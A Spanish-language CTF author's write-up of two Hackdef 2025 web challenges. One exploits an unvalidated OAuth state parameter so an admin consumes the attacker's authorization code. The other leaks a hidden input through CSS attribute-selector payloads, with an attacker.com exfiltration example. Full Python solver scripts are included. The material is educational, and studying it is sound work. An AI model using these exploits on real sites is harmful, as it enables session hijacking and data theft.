Hackdef 9 – quals – 2025

En esta edición tuve nuevamente la oportunidad de contribuir en la sección web de los retos. El objetivo era, como todos los años, hacer algún reto que resultara educativo. En esta ocasión los temas centrales fueron el protocolo OAuth en Lost State y exfiltración por CSS en CSSnatch. Ambos explotables mediante Cross Site Request Forgery en la aplicación vulnerable HackNotes.

Además de intentar enseñar, aprendí que los retos deben ser más resistentes a fuerza bruta o enumeración. Aunque aclaré que no era necesario escanear para obtener la bandera, se cumple la máxima de no confiar en el usuario. Por momentos la disponibilidad se vio afectada y la aplicación llegó a volverse inestable, lenta y con caídas puntuales. Esto arruinó un poco la experiencia. Al final, siempre queda espacio para mejorar y aprender.

Lost state

Al ingresar a la aplicación se presenta la siguiente pantalla:

En ella se trata de orientar al participante a que se enfoque en el proveedor de identidad dado que el login (regular o directo) se encuentra deshabilitado para evitar intentos como inyecciones o login bypass que son innecesarios, pero a la vez, darle cierto realismo.

 Una vez que hagan clic en el botón de “Iniciar sesión con Hackdef…”  se muestra la siguiente pantalla

Hay que notar que se utiliza un puerto diferente porque se está simulando otra aplicación: un proveedor de identidad que, en escenarios reales, suele ser Google, Facebook o GitHub

Aquí el participante, al no tener credenciales aún, puede registrarse.

Al iniciar sesión con la cuenta recién creada el participante es redirigido a la aplicación.

Este punto es fundamental porque aquí se simula la autorización del usuario (IdP) con la aplicación. Más adelante, esta misma petición deberá ser interceptada en una sesión distinta (por ejemplo, en una ventana de incógnito), pero sin completar el flujo.

La URL generada luce de la siguiente forma, siguiendo los parámetros del estándar OAuth:

GET /oauth/callback?code=c8baef4f&state=043caf90  

Aunque aún no resulta evidente, aquí es donde aparece la vulnerabilidad: el parámetro state, diseñado para evitar ataques CSRF asegurando que quien inicia el flujo sea quien lo consuma, no es validado correctamente por el backend.

Una vez iniciada la sesión el participante verá la siguiente aplicación en el endpoint /account

La aplicación simulada representa una app para tomar y compartir notas. Su funcionalidad fue intencionalmente limitada para evitar rabbit holes: al crear una nota, el contenido no es editable por el participante y ya se encuentra predefinido, incluyendo una pista relevante para el reto.

Por si fuera poco se pone un mensaje adicional indicando que la flag deberá aparecer como una nota adicional, escrita por “alguien más” en este caso el Admin.

Mientras tanto el endpoint /my-log , accesible desde el menú “Mi bitácora” registra y muestra la actividad del usuario

Finalmente queda la parte importante, el menú “Contactar al Admin”

Su propósito “original” es poder compartir notas con él. Y es este punto dónde debe compartirse la petición del flujo OAuth sin usarse, para respetar el estándar, dado que cada código debe ser único.

El participante puede saberlo porque se cuenta con validaciones para detectar ciertos posibles escenarios, por ejemplo:

  • Se comparte el enlace de la nota
  • Se comparte una URL diferente a la del reto o no válida (como un texto cualquiera)
  • Se utiliza un código ya quemado (utilizado anteriormente)

A continuación se muestra la validación de cada uno

Solución

Para resolver el reto el usuario debe tener su sesión activa para poder enviar el mensaje al admin, justo como se ha hecho hasta ahora.

Además, necesita ser capaz de interceptar el tráfico y frenar la petición antes de completar el flujo.

Para ello puede usar Burp Suite junto con una ventana de incógnito. 

  1. Volver a iniciar el flujo desde https://34.222.7.241:1305 haciendo clic en “Iniciar sesión con Hackdef CTF Identity Provider”
  2. Interceptar el tráfico de inicio de sesión: Utilizando sus mismas credenciales de acceso, en este caso [email protected], iniciar sesión con Burp en modo  de intercepción
  3. Seguir el flujo mediante forward hasta el punto en el que el código de acceso haya sido generado.
  4. Cuando la URL con el código -sin usar- es generada por el proveedor de identidad se deberá descartar la petición (drop) para evitar que se consuma (https://34.222.7.241:1305/oauth/callback?code=75dad426&state=e02c17f5)
  5. Ya con la URL copiada y la conexión descartada se deshabilita la intercepción del tráfico y se envía desde la sesión original al admin.

En este escenario se simula que el administrador consumió el código OAuth de un usuario. Como consecuencia, cualquier acción realizada —como la creación de una nota con la flag— se reflejará en la cuenta de ese usuario y quedará registrada en los logs. Este comportamiento corresponde a un caso de session fixation dentro del flujo OAuth. El ataque es posible porque la aplicación no valida el parámetro state, el cual en un flujo correcto debería generarse de forma aleatoria, enviarse junto con la solicitud al IdP, recibirse de vuelta en la redirección y comprobarse antes de procesar el code.

Finalmente, dentro de las notas del usuario aparece la bandera

Aunque no es absolutamente necesario, en un script la solución podría verse algo así:

#!/usr/bin/env python3
# Minimal OAuth "Lost State" Solver (blog version)
# Idea: Completar el primer flujo para tener sesión en el cliente.
# Luego iniciar un segundo flujo para obtener un "code" fresco y
# mandarlo al admin sin validar state → flag.

import re, sys, time, urllib3, requests
from urllib.parse import urljoin, urlparse, parse_qs

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CLIENT_URL = sys.argv[1] if len(sys.argv) > 1 else "https://localhost:1305"
IDP_URL    = sys.argv[2] if len(sys.argv) > 2 else "https://localhost:1320"
EMAIL      = "[email protected]"
PASSWORD   = "password123"
TIMEOUT    = 15

def s():
    sess = requests.Session()
    sess.verify = False
    sess.headers.update({"User-Agent":"Mozilla/5.0"})
    return sess

def register_user(idp):
    r = idp.post(f"{IDP_URL}/register", data={"email":EMAIL,"password":PASSWORD}, timeout=TIMEOUT)
    return ("Registro exitoso" in r.text) or ("Usuario ya registrado" in r.text)

def find_authorize_url(client):
    r = client.get(f"{CLIENT_URL}/", timeout=TIMEOUT)
    m = re.search(r'href="([^"]*authorize[^"]*)"', r.text, re.I)
    return urljoin(IDP_URL, m.group(1)) if m else None

def login_and_get_callback(idp, oauth_url):
    # 1) Ir a /authorize → redirige a /login (si no hay sesión en IdP)
    r = idp.get(oauth_url, allow_redirects=False, timeout=TIMEOUT)
    if r.is_redirect and "/login" in r.headers.get("Location",""):
        # 2) Loguearse en IdP
        idp.get(urljoin(IDP_URL, r.headers["Location"]), timeout=TIMEOUT)
        idp.post(f"{IDP_URL}/login", data={"email":EMAIL,"password":PASSWORD},
                 allow_redirects=False, timeout=TIMEOUT)
        # 3) Reintentar /authorize ya autenticados
        r = idp.get(oauth_url, allow_redirects=False, timeout=TIMEOUT)

    # Esperamos Location=redirect_uri?code=...&state=...
    if r.is_redirect:
        return urljoin(CLIENT_URL, r.headers["Location"])
    return None

def complete_client_callback(client, callback_url):
    # Visita de callback para “atar” la sesión en el cliente
    r = client.get(callback_url, allow_redirects=True, timeout=TIMEOUT)
    # Fallback directo a /account
    r2 = client.get(f"{CLIENT_URL}/account", timeout=TIMEOUT)
    return r2.status_code == 200

def create_note(client):
    r = client.post(f"{CLIENT_URL}/create-note", data={}, timeout=TIMEOUT)
    return r.status_code in (200, 302)

def send_to_admin(client, url_with_code):
    # Mandar el callback del segundo flujo (con "code" fresco) al admin
    r = client.post(f"{CLIENT_URL}/contact-admin", data={"message": url_with_code}, timeout=TIMEOUT)
    return r.status_code in (200, 302)

def extract_code(callback_url):
    q = parse_qs(urlparse(callback_url).query)
    return q.get("code", [None])[0]

def get_flag(client):
    r = client.get(f"{CLIENT_URL}/account", timeout=TIMEOUT)
    m = re.search(r'(hackdef\{[^}]+\}|flag\{[^}]+\})', r.text)
    return m.group(1) if m else None

def main():
    print("🚩 Lost State – Blog Minimal Solver")

    # Dos sesiones → “dos navegadores”
    client_user = s()   # Sesión atacante 1 (cliente)
    idp_user    = s()   # Sesión atacante 1 (IdP)
    idp_other   = s()   # Sesión atacante 2 (IdP para code fresco)

    # 0) Preparación
    if not register_user(idp_user):
        print("✖ Registro falló"); return

    # 1) Primer flujo completo → tener sesión en el cliente
    auth1 = find_authorize_url(client_user)
    if not auth1: print("✖ No se encontró /authorize"); return
    cb1 = login_and_get_callback(idp_user, auth1)
    if not cb1: print("✖ No se obtuvo callback 1"); return
    if not complete_client_callback(client_user, cb1):
        print("✖ No se completó el flujo inicial en el cliente"); return
    create_note(client_user)  # opcional, según reto

    # 2) Segundo flujo solo para obtener un "code" sin consumirlo
    auth2 = find_authorize_url(client_user)  # reusar hallazgo (o recargar /)
    if not auth2: print("✖ No se encontró /authorize (2)"); return
    cb2 = login_and_get_callback(idp_other, auth2)
    if not cb2: print("✖ No se obtuvo callback 2"); return
    code = extract_code(cb2)
    if not code: print("✖ No se extrajo code"); return
    print(f"➜ code fresco: {code}")

    # 3) Enviar el callback “crudo” al admin (state no se valida en el cliente)
    if not send_to_admin(client_user, cb2):
        print("✖ Envío al admin falló"); return

    # 4) Comprobar flag
    time.sleep(2)
    flag = get_flag(client_user)
    if flag: print(f"🏆 FLAG: {flag}")
    else:    print("⚠ Aún sin flag (revisar logs del cliente)")

if __name__ == "__main__":
    main()

Resultados

Al final del evento un total de 13 equipos, que representan el 28.3% de los participantes, lograron obtener la bandera

Marcador final

CSSnatch

El reto se monta dentro de la misma aplicación HackNotes.
Al hacer clic en “Ver nota de configuración” aparece la siguiente pantalla en el endpoint /note?id=secret-note

La aplicación ofrece todos los elementos necesarios para comprender el reto (creo). Cuando el usuario administrador visita una nota, se le presenta un formulario con campos ocultos. Al mismo tiempo, el participante sabe que el CSS personalizado del usuario será cargado en esa revisión.

En la sección “Personalizar Tema”, cada usuario puede definir estilos propios en CSS. Estos estilos se almacenan en la base de datos y, al momento en que el administrador revisa la nota, se aplican directamente desde la cuenta del usuario.

además, al inspeccionar esta página hay un mensaje con una gran pista

Con este debería bastar para explicar el objetivo,  el participante deberá escribir CSS “malicioso” para obtener (exfiltrar) los campos ocultos que ve el administrador cuando abre la misma nota secreta.

En la aplicación se simula la visita del administrador cuando se le comparte la nota, cambiando su contenido por un “formulario” con campos ocultos, tal como se sugiere en la nota misma que ve el participante.

  {% if is_special and flag_css %}
  <!-- Solo cuando admin ve la nota especial -->
  <div class="flag-container">
      <input type="hidden" id="secret-flag" value="{{ flag_css }}">
  </div>
  {% endif %}

La idea del reto se basa en una exfiltración CSS ciega y para ello se utilizan selectores CSS que puedan realizar una petición HTTP cuando se cumpla cierta condición. Por ejemplo:

input[value^=»a»] { background: url(/test-a); }

esto significa: “Si existe un campo <input> cuyo valor comienza con ‘a’, aplica esta regla CSS» y la regla indica cargar un fondo desde una URL.

Si esto se utiliza en la aplicación sucede lo siguiente:

Se guarda el estilo y una notificación es cargada en la bitácora /my-log

Se procede a compartir la nota con el administrador

Y se puede observar lo siguiente en la bitácora

Esto pasa porque el valor que se está buscando es «a» pero la bandera comienza con «h»
hackdef{...}
El participante deberá ir iterando los valores ( a,b,c,d,e,f,g…) hasta dar con el correcto

Al crear el payload:

input[value^=»h»] { background: url(/test-h); }

Se repite el proceso de enviar la nota al administrador con este estilo en el CSS 

El valor del url puede ser cualquiera, en un escenario real el atacante necesita montar su infraestructura (un servidor web para recibir las peticiones) y así saber qué selector fue activado  url(http://attacker.com/a…z). Aunque puede ser cualquier cosa, a su vez, debe permitirle al participante saber cuál fue el selector ejecutado, en este caso /test-h o /exfill-h o /h le permitirían inferirlo.

Dado que existen herramientas automatizadas para realizar este proceso si se permite una conexión externa es que se decidió simularlo desde la consola, manteniendo el mismo concepto.

 Ahora que ya sabe el primer valor (h) deberá ir por el segundo repitiendo el proceso

iniciando en la segunda posición, iterando desde la «

input[value^=»ha»] { background: url(/test-ha); }

Este proceso puede acelerarse utilizando reglas de estilo como:

input[value^="haa"] { background: url(/test-haa); }
input[value^="hab"] { background: url(/test-hab); }
input[value^="hac"] { background: url(/test-hac); }
...

repitiendo el patrón hasta cubrir todas las posibilidades en cada iteración. Además, es posible automatizar el flujo mediante un script que lea la bitácora y continúe con la siguiente ronda de forma automática. Al completar (exfiltrar) todos los caracteres se obtiene la bandera

input[value^="hackdef{css_1s_p0w3rfu1}}"] { background: url(/test-hackdef_css_1s_p0w3rfu1_); }

Solución

Se ejemplifica el proceso esperado en un script de Python

#!/usr/bin/env python3
"""
CSSnatch CTF Solver
Descubre la flag carácter por carácter leyendo /my-log.
"""

import re
import time
import string
import requests
from urllib.parse import urljoin

# Ignorar warnings por certificados autofirmados (entorno de laboratorio)
requests.packages.urllib3.disable_warnings()  # type: ignore


class CSSExfiltrationSolver:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.set("session", session_cookie, path="/")

        # Charset típico de flags en CTF
        self.charset = string.ascii_letters + string.digits + "_{}"
        self.flag = ""
        self.max_length = 64

    def generate_css_payload(self, prefix=""):
        """Genera reglas CSS que disparan callbacks según el carácter probado."""
        rules = []
        pos = len(prefix)
        for ch in self.charset:
            ascii_code = ord(ch)
            rules.append(
                f'input[value^="{prefix+ch}"]'
                f'{{background:url(/callback-{pos}-{ascii_code});}}'
            )
        return "\n".join(rules)

    def upload_css(self, css):
        url = urljoin(self.base_url, "/account/theme")
        self.session.post(url, data={"custom_css": css}, allow_redirects=False)

    def trigger_admin(self):
        url = urljoin(self.base_url, "/contact-admin")
        self.session.post(url, data={"message": "/note?id=secret-note"})

    def check_logs(self):
        url = urljoin(self.base_url, "/my-log")
        text = self.session.get(url).text
        return re.findall(r"/callback-(\d+)-(\d+)", text)

    def solve(self):
        print("🚀 Iniciando exfiltración…")
        while len(self.flag) < self.max_length:
            pos = len(self.flag)
            print(f"\n🔄 Posición {pos} | Prefijo: {self.flag!r}")

            css = self.generate_css_payload(self.flag)
            self.upload_css(css)
            self.trigger_admin()

            time.sleep(6)  # dar tiempo al admin/logs

            for pos_str, ascii_str in self.check_logs():
                if int(pos_str) == pos:
                    ch = chr(int(ascii_str))
                    self.flag += ch
                    print(f"✅ Carácter {pos+1}: {ch} → {self.flag}")
                    if ch == "}" and "{" in self.flag:
                        return self.flag
                    break
        return self.flag


if __name__ == "__main__":
    import sys
    if len(sys.argv) < 3:
        print("Uso: python css_exfil_solver.py <base_url> <session_cookie>")
        sys.exit(1)

    solver = CSSExfiltrationSolver(sys.argv[1], sys.argv[2])
    print("\n🏆 FLAG FINAL:", solver.solve())

Resultados

Al final del evento un total de 15 equipos, que representan el  32.6% del total de participantes, fue capaz de obtener la bandera.


¡Felicidades a todos los participantes!

Referencias

https://portswigger.net/research/blind-css-exfiltration

https://blog.abhis3k.in/concept/&/testcases/2025/05/23/oauth-concept-and-testcases/
https://hackerone.com/reports/111218

https://hackerone.com/reports/1727221

Deja un comentario